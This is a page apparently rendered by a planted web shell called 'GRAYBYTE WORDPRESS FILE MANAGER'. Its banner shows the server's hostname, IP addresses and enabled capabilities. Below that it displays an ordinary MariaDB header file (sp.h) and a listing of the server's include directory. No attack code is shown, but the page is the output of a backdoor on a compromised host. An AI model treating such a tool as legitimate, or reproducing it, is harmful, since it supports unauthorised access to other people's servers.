✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ server.blackpussy.asia ​🇻​♯➤ 5.14.0-611.20.1.el9_7.x86_64 #1 SMP 🇾​♯➤ 2026

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 163.245.207.76 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.243
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗞 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ mail,mb_send_mail
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /usr/include/mysql/server/private//sp.h
/* -*- C++ -*- */
/* Copyright (c) 2002, 2010, Oracle and/or its affiliates. All rights reserved.
   Copyright (c) 2009, 2020, MariaDB Corporation.

   This program is free software; you can redistribute it and/or modify
   it under the terms of the GNU General Public License as published by
   the Free Software Foundation; version 2 of the License.

   This program is distributed in the hope that it will be useful,
   but WITHOUT ANY WARRANTY; without even the implied warranty of
   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
   GNU General Public License for more details.

   You should have received a copy of the GNU General Public License
   along with this program; if not, write to the Free Software
   Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1335  USA */

#ifndef _SP_H_
#define _SP_H_

#include "my_global.h"                          /* NO_EMBEDDED_ACCESS_CHECKS */
#include "sql_string.h"                         // LEX_STRING
#include "sql_cmd.h"
#include "mdl.h"

class Field;
class Open_tables_backup;
class Open_tables_state;
class Query_arena;
class Query_tables_list;
class Sroutine_hash_entry;
class THD;
class sp_cache;
class sp_head;
class sp_package;
class sp_pcontext;
class sp_name;
class Database_qualified_name;
struct st_sp_chistics;
class Stored_program_creation_ctx;
struct LEX;
struct TABLE;
struct TABLE_LIST;
typedef struct st_hash HASH;
template <typename T> class SQL_I_List;

/*
  Values for the type enum. This reflects the order of the enum declaration
  in the CREATE TABLE command.
  See also storage/perfschema/my_thread.h
*/
enum enum_sp_type
{
  SP_TYPE_FUNCTION=1,
  SP_TYPE_PROCEDURE=2,
  SP_TYPE_PACKAGE=3,
  SP_TYPE_PACKAGE_BODY=4,
  SP_TYPE_TRIGGER=5,
  SP_TYPE_EVENT=6,
};

class Sp_handler
{
  bool sp_resolve_package_routine_explicit(THD *thd,
                                           sp_head *caller,
                                           sp_name *name,
                                           const Sp_handler **pkg_routine_hndlr,
                                           Database_qualified_name *pkgname)
                                           const;
  bool sp_resolve_package_routine_implicit(THD *thd,
                                           sp_head *caller,
                                           sp_name *name,
                                           const Sp_handler **pkg_routine_hndlr,
                                           Database_qualified_name *pkgname)
                                           const;
protected:
  int db_find_routine_aux(THD *thd, const Database_qualified_name *name,
                          TABLE *table) const;
  int db_find_routine(THD *thd, const Database_qualified_name *name,
                      sp_head **sphp) const;
  int db_find_and_cache_routine(THD *thd,
                                const Database_qualified_name *name,
                                sp_head **sp) const;
  int db_load_routine(THD *thd, const Database_qualified_name *name,
                      sp_head **sphp,
                      sql_mode_t sql_mode,
                      const LEX_CSTRING &params,
                      const LEX_CSTRING &returns,
                      const LEX_CSTRING &body,
                      const st_sp_chistics &chistics,
                      const AUTHID &definer,
                      longlong created, longlong modified,
                      sp_package *parent,
                      Stored_program_creation_ctx *creation_ctx) const;
  int sp_drop_routine_internal(THD *thd,
                               const Database_qualified_name *name,
                               TABLE *table) const;

  sp_head *sp_clone_and_link_routine(THD *thd,
                                     const Database_qualified_name *name,
                                     sp_head *sp) const;
  int sp_cache_package_routine(THD *thd,
                               const LEX_CSTRING &pkgname_cstr,
                               const Database_qualified_name *name,
                               sp_head **sp) const;
  int sp_cache_package_routine(THD *thd,
                               const Database_qualified_name *name,
                               sp_head **sp) const;
  sp_head *sp_find_package_routine(THD *thd,
                                   const LEX_CSTRING pkgname_str,
                                   const Database_qualified_name *name,
                                   bool cache_only) const;
  sp_head *sp_find_package_routine(THD *thd,
                                   const Database_qualified_name *name,
                                   bool cache_only) const;
public: // TODO: make it private or protected
  virtual int sp_find_and_drop_routine(THD *thd, TABLE *table,
                                       const Database_qualified_name *name)
                                       const;

public:
  virtual ~Sp_handler() = default;
  static const Sp_handler *handler(enum enum_sql_command cmd);
  static const Sp_handler *handler(enum_sp_type type);
  static const Sp_handler *handler(MDL_key::enum_mdl_namespace ns);
  /*
    Return a handler only those SP objects that store
    definitions in the mysql.proc system table
  */
  static const Sp_handler *handler_mysql_proc(enum_sp_type type)
  {
    const Sp_handler *sph= handler(type);
    return sph ? sph->sp_handler_mysql_proc() : NULL;
  }

  static bool eq_routine_name(const LEX_CSTRING &name1,
                              const LEX_CSTRING &name2)
  {
    return system_charset_info->strnncoll(name1.str, name1.length,
                                          name2.str, name2.length) == 0;
  }
  const char *type_str() const { return type_lex_cstring().str; }
  virtual const char *show_create_routine_col1_caption() const
  {
    DBUG_ASSERT(0);
    return "";
  }
  virtual const char *show_create_routine_col3_caption() const
  {
    DBUG_ASSERT(0);
    return "";
  }
  virtual const Sp_handler *package_routine_handler() const
  {
    return this;
  }
  virtual enum_sp_type type() const= 0;
  virtual LEX_CSTRING type_lex_cstring() const= 0;
  virtual LEX_CSTRING empty_body_lex_cstring(sql_mode_t mode) const
  {
    static LEX_CSTRING m_empty_body= {STRING_WITH_LEN("???")};
    DBUG_ASSERT(0);
    return m_empty_body;
  }
  virtual MDL_key::enum_mdl_namespace get_mdl_type() const= 0;
  virtual const Sp_handler *sp_handler_mysql_proc() const { return this; }
  virtual sp_cache **get_cache(THD *) const { return NULL; }
#ifndef NO_EMBEDDED_ACCESS_CHECKS
  virtual HASH *get_priv_hash() const { return NULL; }
#endif
  virtual ulong recursion_depth(THD *thd) const { return 0; }
  /**
    Return appropriate error about recursion limit reaching

    @param thd  Thread handle
    @param sp   SP routine

    @remark For functions and triggers we return error about
            prohibited recursion. For stored procedures we
            return about reaching recursion limit.
  */
  virtual void recursion_level_error(THD *thd, const sp_head *sp) const
  {
    my_error(ER_SP_NO_RECURSION, MYF(0));
  }
  virtual bool add_instr_freturn(THD *thd, sp_head *sp,
                                 sp_pcontext *spcont,
                                 Item *item, LEX *lex) const;
  virtual bool add_instr_preturn(THD *thd, sp_head *sp,
                                 sp_pcontext *spcont) const;

  void add_used_routine(Query_tables_list *prelocking_ctx,
                        Query_arena *arena,
                        const Database_qualified_name *name) const;

  bool sp_resolve_package_routine(THD *thd,
                                  sp_head *caller,
                                  sp_name *name,
                                  const Sp_handler **pkg_routine_handler,
                                  Database_qualified_name *pkgname) const;
  virtual sp_head *sp_find_routine(THD *thd,
                                   const Database_qualified_name *name,
                                   bool cache_only) const;
  virtual int sp_cache_routine(THD *thd, const Database_qualified_name *name,
                               sp_head **sp) const;

  int sp_cache_routine_reentrant(THD *thd,
                                 const Database_qualified_name *nm,
                                 sp_head **sp) const;

  bool sp_exist_routines(THD *thd, TABLE_LIST *procs) const;
  bool sp_show_create_routine(THD *thd,
                              const Database_qualified_name *name) const;

  bool sp_create_routine(THD *thd, const sp_head *sp) const;

  int sp_update_routine(THD *thd, const Database_qualified_name *name,
                        const st_sp_chistics *chistics) const;

  int sp_drop_routine(THD *thd, const Database_qualified_name *name) const;

  sp_head *sp_load_for_information_schema(THD *thd, TABLE *proc_table,
                                          const LEX_CSTRING &db,
                                          const LEX_CSTRING &name,
                                          const LEX_CSTRING &params,
                                          const LEX_CSTRING &returns,
                                          sql_mode_t sql_mode,
                                          bool *free_sp_head) const;

  /*
    Make a SHOW CREATE statement.
      @retval   true on error
      @retval   false on success
  */
  virtual bool show_create_sp(THD *thd, String *buf,
                              const LEX_CSTRING &db,
                              const LEX_CSTRING &name,
                              const LEX_CSTRING &params,
                              const LEX_CSTRING &returns,
                              const LEX_CSTRING &body,
                              const st_sp_chistics &chistics,
                              const AUTHID &definer,
                              const DDL_options_st ddl_options,
                              sql_mode_t sql_mode) const;

};


class Sp_handler_procedure: public Sp_handler
{
public:
  enum_sp_type type() const override { return SP_TYPE_PROCEDURE; }
  LEX_CSTRING type_lex_cstring() const override
  {
    static LEX_CSTRING m_type_str= { STRING_WITH_LEN("PROCEDURE")};
    return m_type_str;
  }
  LEX_CSTRING empty_body_lex_cstring(sql_mode_t mode) const override;
  const char *show_create_routine_col1_caption() const override
  {
    return "Procedure";
  }
  const char *show_create_routine_col3_caption() const override
  {
    return "Create Procedure";
  }
  MDL_key::enum_mdl_namespace get_mdl_type() const override
  {
    return MDL_key::PROCEDURE;
  }
  const Sp_handler *package_routine_handler() const override;
  sp_cache **get_cache(THD *) const override;
#ifndef NO_EMBEDDED_ACCESS_CHECKS
  HASH *get_priv_hash() const override;
#endif
  ulong recursion_depth(THD *thd) const override;
  void recursion_level_error(THD *thd, const sp_head *sp) const override;
  bool add_instr_preturn(THD *thd, sp_head *sp, sp_pcontext *spcont) const override;
};


class Sp_handler_package_procedure: public Sp_handler_procedure
{
public:
  int sp_cache_routine(THD *thd, const Database_qualified_name *name,
                       sp_head **sp) const override
  {
    return sp_cache_package_routine(thd, name, sp);
  }
  sp_head *sp_find_routine(THD *thd,
                           const Database_qualified_name *name,
                           bool cache_only) const override
  {
    return sp_find_package_routine(thd, name, cache_only);
  }
};


class Sp_handler_function: public Sp_handler
{
public:
  enum_sp_type type() const override { return SP_TYPE_FUNCTION; }
  LEX_CSTRING type_lex_cstring() const override
  {
    static LEX_CSTRING m_type_str= { STRING_WITH_LEN("FUNCTION")};
    return m_type_str;
  }
  LEX_CSTRING empty_body_lex_cstring(sql_mode_t mode) const override;
  const char *show_create_routine_col1_caption() const override
  {
    return "Function";
  }
  const char *show_create_routine_col3_caption() const override
  {
    return "Create Function";
  }
  MDL_key::enum_mdl_namespace get_mdl_type() const override
  {
    return MDL_key::FUNCTION;
  }
  const Sp_handler *package_routine_handler() const override;
  sp_cache **get_cache(THD *) const override;
#ifndef NO_EMBEDDED_ACCESS_CHECKS
  HASH *get_priv_hash() const override;
#endif
  bool add_instr_freturn(THD *thd, sp_head *sp, sp_pcontext *spcont,
                         Item *item, LEX *lex) const override;
};


class Sp_handler_package_function: public Sp_handler_function
{
public:
  int sp_cache_routine(THD *thd, const Database_qualified_name *name,
                       sp_head **sp) const override
  {
    return sp_cache_package_routine(thd, name, sp);
  }
  sp_head *sp_find_routine(THD *thd,
                           const Database_qualified_name *name,
                           bool cache_only) const override
  {
    return sp_find_package_routine(thd, name, cache_only);
  }
};


class Sp_handler_package: public Sp_handler
{
public:
  bool show_create_sp(THD *thd, String *buf,
                      const LEX_CSTRING &db,
                      const LEX_CSTRING &name,
                      const LEX_CSTRING &params,
                      const LEX_CSTRING &returns,
                      const LEX_CSTRING &body,
                      const st_sp_chistics &chistics,
                      const AUTHID &definer,
                      const DDL_options_st ddl_options,
                      sql_mode_t sql_mode) const override;
};


class Sp_handler_package_spec: public Sp_handler_package
{
public: // TODO: make it private or protected
  int sp_find_and_drop_routine(THD *thd, TABLE *table,
                               const Database_qualified_name *name)
                               const override;
public:
  enum_sp_type type() const override { return SP_TYPE_PACKAGE; }
  LEX_CSTRING type_lex_cstring() const override
  {
    static LEX_CSTRING m_type_str= {STRING_WITH_LEN("PACKAGE")};
    return m_type_str;
  }
  LEX_CSTRING empty_body_lex_cstring(sql_mode_t mode) const override
  {
    static LEX_CSTRING m_empty_body= {STRING_WITH_LEN("BEGIN END")};
    return m_empty_body;
  }
  const char *show_create_routine_col1_caption() const override
  {
    return "Package";
  }
  const char *show_create_routine_col3_caption() const override
  {
    return "Create Package";
  }
  MDL_key::enum_mdl_namespace get_mdl_type() const override
  {
    return MDL_key::PACKAGE_BODY;
  }
  sp_cache **get_cache(THD *) const override;
#ifndef NO_EMBEDDED_ACCESS_CHECKS
  HASH *get_priv_hash() const override;
#endif
};


class Sp_handler_package_body: public Sp_handler_package
{
public:
  enum_sp_type type() const override { return SP_TYPE_PACKAGE_BODY; }
  LEX_CSTRING type_lex_cstring() const override
  {
    static LEX_CSTRING m_type_str= {STRING_WITH_LEN("PACKAGE BODY")};
    return m_type_str;
  }
  LEX_CSTRING empty_body_lex_cstring(sql_mode_t mode) const override
  {
    static LEX_CSTRING m_empty_body= {STRING_WITH_LEN("BEGIN END")};
    return m_empty_body;
  }
  const char *show_create_routine_col1_caption() const override
  {
    return "Package body";
  }
  const char *show_create_routine_col3_caption() const override
  {
    return "Create Package Body";
  }
  MDL_key::enum_mdl_namespace get_mdl_type() const override
  {
    return MDL_key::PACKAGE_BODY;
  }
  sp_cache **get_cache(THD *) const override;
#ifndef NO_EMBEDDED_ACCESS_CHECKS
  HASH *get_priv_hash() const override;
#endif
};


class Sp_handler_trigger: public Sp_handler
{
public:
  enum_sp_type type() const override { return SP_TYPE_TRIGGER; }
  LEX_CSTRING type_lex_cstring() const override
  {
    static LEX_CSTRING m_type_str= { STRING_WITH_LEN("TRIGGER")};
    return m_type_str;
  }
  MDL_key::enum_mdl_namespace get_mdl_type() const override
  {
    DBUG_ASSERT(0);
    return MDL_key::TRIGGER;
  }
  const Sp_handler *sp_handler_mysql_proc() const override { return NULL; }
};


extern MYSQL_PLUGIN_IMPORT Sp_handler_function sp_handler_function;
extern MYSQL_PLUGIN_IMPORT Sp_handler_procedure sp_handler_procedure;
extern MYSQL_PLUGIN_IMPORT Sp_handler_package_spec sp_handler_package_spec;
extern MYSQL_PLUGIN_IMPORT Sp_handler_package_body sp_handler_package_body;
extern MYSQL_PLUGIN_IMPORT Sp_handler_package_function sp_handler_package_function;
extern MYSQL_PLUGIN_IMPORT Sp_handler_package_procedure sp_handler_package_procedure;
extern MYSQL_PLUGIN_IMPORT Sp_handler_trigger sp_handler_trigger;


inline const Sp_handler *Sp_handler::handler(enum_sql_command cmd)
{
  switch (cmd) {
  case SQLCOM_CREATE_PROCEDURE:
  case SQLCOM_ALTER_PROCEDURE:
  case SQLCOM_DROP_PROCEDURE:
  case SQLCOM_SHOW_PROC_CODE:
  case SQLCOM_SHOW_CREATE_PROC:
  case SQLCOM_SHOW_STATUS_PROC:
    return &sp_handler_procedure;
  case SQLCOM_CREATE_SPFUNCTION:
  case SQLCOM_ALTER_FUNCTION:
  case SQLCOM_DROP_FUNCTION:
  case SQLCOM_SHOW_FUNC_CODE:
  case SQLCOM_SHOW_CREATE_FUNC:
  case SQLCOM_SHOW_STATUS_FUNC:
    return &sp_handler_function;
  case SQLCOM_CREATE_PACKAGE:
  case SQLCOM_DROP_PACKAGE:
  case SQLCOM_SHOW_CREATE_PACKAGE:
  case SQLCOM_SHOW_STATUS_PACKAGE:
    return &sp_handler_package_spec;
  case SQLCOM_CREATE_PACKAGE_BODY:
  case SQLCOM_DROP_PACKAGE_BODY:
  case SQLCOM_SHOW_CREATE_PACKAGE_BODY:
  case SQLCOM_SHOW_STATUS_PACKAGE_BODY:
  case SQLCOM_SHOW_PACKAGE_BODY_CODE:
    return &sp_handler_package_body;
  default:
    break;
  }
  return NULL;
}


inline const Sp_handler *Sp_handler::handler(enum_sp_type type)
{
  switch (type) {
  case SP_TYPE_PROCEDURE:
    return &sp_handler_procedure;
  case SP_TYPE_FUNCTION:
    return &sp_handler_function;
  case SP_TYPE_PACKAGE:
    return &sp_handler_package_spec;
  case SP_TYPE_PACKAGE_BODY:
    return &sp_handler_package_body;
  case SP_TYPE_TRIGGER:
    return &sp_handler_trigger;
  case SP_TYPE_EVENT:
    break;
  }
  return NULL;
}


inline const Sp_handler *Sp_handler::handler(MDL_key::enum_mdl_namespace type)
{
  switch (type) {
  case MDL_key::FUNCTION:
    return &sp_handler_function;
  case MDL_key::PROCEDURE:
    return &sp_handler_procedure;
  case MDL_key::PACKAGE_BODY:
    return &sp_handler_package_body;
  case MDL_key::BACKUP:
  case MDL_key::SCHEMA:
  case MDL_key::TABLE:
  case MDL_key::TRIGGER:
  case MDL_key::EVENT:
  case MDL_key::USER_LOCK:
  case MDL_key::NAMESPACE_END:
    break;
  }
  return NULL;
}


/* Tells what SP_DEFAULT_ACCESS should be mapped to */
#define SP_DEFAULT_ACCESS_MAPPING SP_CONTAINS_SQL

// Return codes from sp_create_*, sp_drop_*, and sp_show_*:
#define SP_OK                 0
#define SP_KEY_NOT_FOUND     -1
#define SP_OPEN_TABLE_FAILED -2
#define SP_WRITE_ROW_FAILED  -3
#define SP_DELETE_ROW_FAILED -4
#define SP_GET_FIELD_FAILED  -5
#define SP_PARSE_ERROR       -6
#define SP_INTERNAL_ERROR    -7
#define SP_NO_DB_ERROR       -8
#define SP_BAD_IDENTIFIER    -9
#define SP_BODY_TOO_LONG    -10
#define SP_FLD_STORE_FAILED -11

/* DB storage of Stored PROCEDUREs and FUNCTIONs */
enum
{
  MYSQL_PROC_FIELD_DB = 0,
  MYSQL_PROC_FIELD_NAME,
  MYSQL_PROC_MYSQL_TYPE,
  MYSQL_PROC_FIELD_SPECIFIC_NAME,
  MYSQL_PROC_FIELD_LANGUAGE,
  MYSQL_PROC_FIELD_ACCESS,
  MYSQL_PROC_FIELD_DETERMINISTIC,
  MYSQL_PROC_FIELD_SECURITY_TYPE,
  MYSQL_PROC_FIELD_PARAM_LIST,
  MYSQL_PROC_FIELD_RETURNS,
  MYSQL_PROC_FIELD_BODY,
  MYSQL_PROC_FIELD_DEFINER,
  MYSQL_PROC_FIELD_CREATED,
  MYSQL_PROC_FIELD_MODIFIED,
  MYSQL_PROC_FIELD_SQL_MODE,
  MYSQL_PROC_FIELD_COMMENT,
  MYSQL_PROC_FIELD_CHARACTER_SET_CLIENT,
  MYSQL_PROC_FIELD_COLLATION_CONNECTION,
  MYSQL_PROC_FIELD_DB_COLLATION,
  MYSQL_PROC_FIELD_BODY_UTF8,
  MYSQL_PROC_FIELD_AGGREGATE,
  MYSQL_PROC_FIELD_COUNT
};

/* Drop all routines in database 'db' */
int
sp_drop_db_routines(THD *thd, const char *db);

/**
   Acquires exclusive metadata lock on all stored routines in the
   given database.

   @param  thd  Thread handler
   @param  db   Database name

   @retval  false  Success
   @retval  true   Failure
 */
bool lock_db_routines(THD *thd, const char *db);

/**
  Structure that represents element in the set of stored routines
  used by statement or routine.
*/

class Sroutine_hash_entry
{
public:
  /**
    Metadata lock request for routine.
    MDL_key in this request is also used as a key for set.
  */
  MDL_request mdl_request;
  /**
    Next element in list linking all routines in set. See also comments
    for LEX::sroutine/sroutine_list and sp_head::m_sroutines.
  */
  Sroutine_hash_entry *next;
  /**
    Uppermost view which directly or indirectly uses this routine.
    0 if routine is not used in view. Note that it also can be 0 if
    statement uses routine both via view and directly.
  */
  TABLE_LIST *belong_to_view;
  /**
    This is for prepared statement validation purposes.
    A statement looks up and pre-loads all its stored functions
    at prepare. Later on, if a function is gone from the cache,
    execute may fail.
    Remember the version of sp_head at prepare to be able to
    invalidate the prepared statement at execute if it
    changes.
  */
  ulong m_sp_cache_version;

  const Sp_handler *m_handler;

  int sp_cache_routine(THD *thd, sp_head **sp) const;
};


bool sp_add_used_routine(Query_tables_list *prelocking_ctx, Query_arena *arena,
                         const MDL_key *key,
                         const Sp_handler *handler,
                         TABLE_LIST *belong_to_view);
void sp_remove_not_own_routines(Query_tables_list *prelocking_ctx);
bool sp_update_sp_used_routines(HASH *dst, HASH *src);
void sp_update_stmt_used_routines(THD *thd, Query_tables_list *prelocking_ctx,
                                  HASH *src, TABLE_LIST *belong_to_view);
void sp_update_stmt_used_routines(THD *thd, Query_tables_list *prelocking_ctx,
                                  SQL_I_List<Sroutine_hash_entry> *src,
                                  TABLE_LIST *belong_to_view);

extern "C" const uchar *sp_sroutine_key(const void *ptr, size_t *plen,
                                        my_bool);

/*
  Routines which allow open/lock and close mysql.proc table even when
  we already have some tables open and locked.
*/
TABLE *open_proc_table_for_read(THD *thd);

bool load_charset(THD *thd,
                  MEM_ROOT *mem_root,
                  Field *field,
                  CHARSET_INFO *dflt_cs,
                  CHARSET_INFO **cs);

bool load_collation(THD *thd,MEM_ROOT *mem_root,
                    Field *field,
                    CHARSET_INFO *dflt_cl,
                    CHARSET_INFO **cl);

void sp_returns_type(THD *thd,
                     String &result,
                     const sp_head *sp);

#endif /* _SP_H_ */

Current_dir [ 𝗡𝗢𝗧 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]

Current_dir [ 𝗡𝗢𝗧 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
22 Aug 2026 4.57 AM
root / root
0755
atomic
--
22 Aug 2026 4.57 AM
root / root
0755
data
--
19 Aug 2026 9.46 AM
root / root
0755
providers
--
22 Aug 2026 4.57 AM
root / root
0755
aligned.h
1.109 KB
19 Aug 2026 6.22 AM
root / root
0644
aria_backup.h
1.745 KB
19 Aug 2026 6.22 AM
root / root
0644
assume_aligned.h
2.295 KB
19 Aug 2026 6.22 AM
root / root
0644
authors.h
9.955 KB
19 Aug 2026 6.22 AM
root / root
0644
backup.h
1.663 KB
19 Aug 2026 6.22 AM
root / root
0644
bounded_queue.h
5.95 KB
19 Aug 2026 6.22 AM
root / root
0644
client_settings.h
1.89 KB
19 Aug 2026 6.22 AM
root / root
0644
compat56.h
2.227 KB
19 Aug 2026 6.22 AM
root / root
0644
config.h
14.006 KB
19 Aug 2026 9.01 AM
root / root
0644
contributors.h
4.815 KB
19 Aug 2026 6.22 AM
root / root
0644
create_options.h
4.095 KB
19 Aug 2026 6.22 AM
root / root
0644
create_tmp_table.h
2.742 KB
19 Aug 2026 6.22 AM
root / root
0644
cset_narrowing.h
3.875 KB
19 Aug 2026 6.22 AM
root / root
0644
custom_conf.h
1.057 KB
19 Aug 2026 6.22 AM
root / root
0644
datadict.h
1.66 KB
19 Aug 2026 6.22 AM
root / root
0644
ddl_log.h
12.507 KB
19 Aug 2026 6.22 AM
root / root
0644
debug.h
1.205 KB
19 Aug 2026 6.22 AM
root / root
0644
debug_sync.h
1.998 KB
19 Aug 2026 6.22 AM
root / root
0644
derived_handler.h
2.323 KB
19 Aug 2026 6.22 AM
root / root
0644
derror.h
0.957 KB
19 Aug 2026 6.22 AM
root / root
0644
des_key_file.h
1.207 KB
19 Aug 2026 6.22 AM
root / root
0644
discover.h
1.533 KB
19 Aug 2026 6.22 AM
root / root
0644
dur_prop.h
1.057 KB
19 Aug 2026 6.22 AM
root / root
0644
embedded_priv.h
1.692 KB
19 Aug 2026 6.22 AM
root / root
0644
event_data_objects.h
4.089 KB
19 Aug 2026 6.22 AM
root / root
0644
event_db_repository.h
3.563 KB
19 Aug 2026 6.22 AM
root / root
0644
event_parse_data.h
2.831 KB
19 Aug 2026 6.22 AM
root / root
0644
event_queue.h
3.357 KB
19 Aug 2026 6.22 AM
root / root
0644
event_scheduler.h
3.213 KB
19 Aug 2026 6.22 AM
root / root
0644
events.h
4.594 KB
19 Aug 2026 6.22 AM
root / root
0644
field.h
217.201 KB
19 Aug 2026 6.22 AM
root / root
0644
field_comp.h
1.146 KB
19 Aug 2026 6.22 AM
root / root
0644
filesort.h
7.112 KB
19 Aug 2026 6.22 AM
root / root
0644
filesort_utils.h
8.003 KB
19 Aug 2026 6.22 AM
root / root
0644
ft_global.h
3.04 KB
19 Aug 2026 6.22 AM
root / root
0644
gcalc_slicescan.h
16.924 KB
19 Aug 2026 6.22 AM
root / root
0644
gcalc_tools.h
11.621 KB
19 Aug 2026 6.22 AM
root / root
0644
grant.h
2.693 KB
19 Aug 2026 6.22 AM
root / root
0644
group_by_handler.h
3.451 KB
19 Aug 2026 6.22 AM
root / root
0644
gstream.h
2.38 KB
19 Aug 2026 6.22 AM
root / root
0644
ha_handler_stats.h
2.28 KB
19 Aug 2026 6.22 AM
root / root
0644
ha_partition.h
63.18 KB
19 Aug 2026 6.22 AM
root / root
0644
ha_sequence.h
6.099 KB
19 Aug 2026 6.22 AM
root / root
0644
handle_connections_win.h
0.863 KB
19 Aug 2026 6.22 AM
root / root
0644
handler.h
195.173 KB
19 Aug 2026 6.22 AM
root / root
0644
hash.h
4.348 KB
19 Aug 2026 6.22 AM
root / root
0644
hash_filo.h
5.468 KB
19 Aug 2026 6.22 AM
root / root
0644
heap.h
9.265 KB
19 Aug 2026 6.22 AM
root / root
0644
hostname.h
5.292 KB
19 Aug 2026 6.22 AM
root / root
0644
ilist.h
7.067 KB
19 Aug 2026 6.22 AM
root / root
0644
init.h
0.832 KB
19 Aug 2026 6.22 AM
root / root
0644
innodb_priv.h
1.288 KB
19 Aug 2026 6.22 AM
root / root
0644
item.h
278.768 KB
19 Aug 2026 6.22 AM
root / root
0644
item_cmpfunc.h
132.049 KB
19 Aug 2026 6.22 AM
root / root
0644
item_create.h
11.238 KB
19 Aug 2026 6.22 AM
root / root
0644
item_func.h
135.433 KB
19 Aug 2026 6.22 AM
root / root
0644
item_geofunc.h
38.684 KB
19 Aug 2026 6.22 AM
root / root
0644
item_jsonfunc.h
24.833 KB
19 Aug 2026 6.22 AM
root / root
0644
item_row.h
5.106 KB
19 Aug 2026 6.22 AM
root / root
0644
item_strfunc.h
73.501 KB
19 Aug 2026 6.22 AM
root / root
0644
item_subselect.h
57.702 KB
19 Aug 2026 6.22 AM
root / root
0644
item_sum.h
70.991 KB
19 Aug 2026 6.22 AM
root / root
0644
item_timefunc.h
64.352 KB
19 Aug 2026 6.22 AM
root / root
0644
item_vers.h
4.31 KB
19 Aug 2026 6.22 AM
root / root
0644
item_windowfunc.h
34.267 KB
19 Aug 2026 6.22 AM
root / root
0644
item_xmlfunc.h
4.541 KB
19 Aug 2026 6.22 AM
root / root
0644
json_table.h
9.44 KB
19 Aug 2026 6.22 AM
root / root
0644
key.h
2.082 KB
19 Aug 2026 6.22 AM
root / root
0644
keycaches.h
1.948 KB
19 Aug 2026 6.22 AM
root / root
0644
lex.h
29.141 KB
19 Aug 2026 6.22 AM
root / root
0644
lex_charset.h
23.743 KB
19 Aug 2026 6.22 AM
root / root
0644
lex_hash.h
139.754 KB
19 Aug 2026 9.10 AM
root / root
0644
lex_ident.h
2.072 KB
19 Aug 2026 6.22 AM
root / root
0644
lex_string.h
3.981 KB
19 Aug 2026 6.22 AM
root / root
0644
lex_symbol.h
1.292 KB
19 Aug 2026 6.22 AM
root / root
0644
lex_token.h
41.642 KB
19 Aug 2026 9.10 AM
root / root
0644
lf.h
6.311 KB
19 Aug 2026 6.22 AM
root / root
0644
lock.h
2.168 KB
19 Aug 2026 6.22 AM
root / root
0644
log.h
45.373 KB
19 Aug 2026 6.22 AM
root / root
0644
log_event.h
185.026 KB
19 Aug 2026 6.22 AM
root / root
0644
log_event_data_type.h
1.846 KB
19 Aug 2026 6.22 AM
root / root
0644
log_event_old.h
19.365 KB
19 Aug 2026 6.22 AM
root / root
0644
log_slow.h
2.385 KB
19 Aug 2026 6.22 AM
root / root
0644
maria.h
5.734 KB
19 Aug 2026 6.22 AM
root / root
0644
mariadb.h
1.247 KB
19 Aug 2026 6.22 AM
root / root
0644
mdl.h
37.981 KB
19 Aug 2026 6.22 AM
root / root
0644
mem_root_array.h
6.939 KB
19 Aug 2026 6.22 AM
root / root
0644
message.h
1.167 KB
19 Aug 2026 6.22 AM
root / root
0644
multi_range_read.h
22.636 KB
19 Aug 2026 6.22 AM
root / root
0644
my_alarm.h
2.372 KB
19 Aug 2026 6.22 AM
root / root
0644
my_apc.h
4.636 KB
19 Aug 2026 6.22 AM
root / root
0644
my_atomic.h
7.11 KB
19 Aug 2026 6.22 AM
root / root
0644
my_atomic_wrapper.h
2.979 KB
19 Aug 2026 6.22 AM
root / root
0644
my_base.h
27.1 KB
19 Aug 2026 6.22 AM
root / root
0644
my_bit.h
6.051 KB
19 Aug 2026 6.22 AM
root / root
0644
my_bitmap.h
5.373 KB
19 Aug 2026 6.22 AM
root / root
0644
my_check_opt.h
2.557 KB
19 Aug 2026 6.22 AM
root / root
0644
my_compare.h
10.932 KB
19 Aug 2026 6.22 AM
root / root
0644
my_counter.h
1.681 KB
19 Aug 2026 6.22 AM
root / root
0644
my_cpu.h
4.771 KB
19 Aug 2026 6.22 AM
root / root
0644
my_crypt.h
0.883 KB
19 Aug 2026 6.22 AM
root / root
0644
my_decimal.h
14.164 KB
19 Aug 2026 6.22 AM
root / root
0644
my_default.h
1.836 KB
19 Aug 2026 6.22 AM
root / root
0644
my_handler_errors.h
4.768 KB
19 Aug 2026 6.22 AM
root / root
0644
my_json_writer.h
18.268 KB
19 Aug 2026 6.22 AM
root / root
0644
my_libwrap.h
1.155 KB
19 Aug 2026 6.22 AM
root / root
0644
my_md5.h
1.451 KB
19 Aug 2026 6.22 AM
root / root
0644
my_minidump.h
0.828 KB
19 Aug 2026 6.22 AM
root / root
0644
my_nosys.h
1.404 KB
19 Aug 2026 6.22 AM
root / root
0644
my_rdtsc.h
9.882 KB
19 Aug 2026 6.22 AM
root / root
0644
my_rnd.h
0.99 KB
19 Aug 2026 6.22 AM
root / root
0644
my_service_manager.h
2.038 KB
19 Aug 2026 6.22 AM
root / root
0644
my_stack_alloc.h
6.341 KB
19 Aug 2026 6.22 AM
root / root
0644
my_stacktrace.h
3.14 KB
19 Aug 2026 6.22 AM
root / root
0644
my_time.h
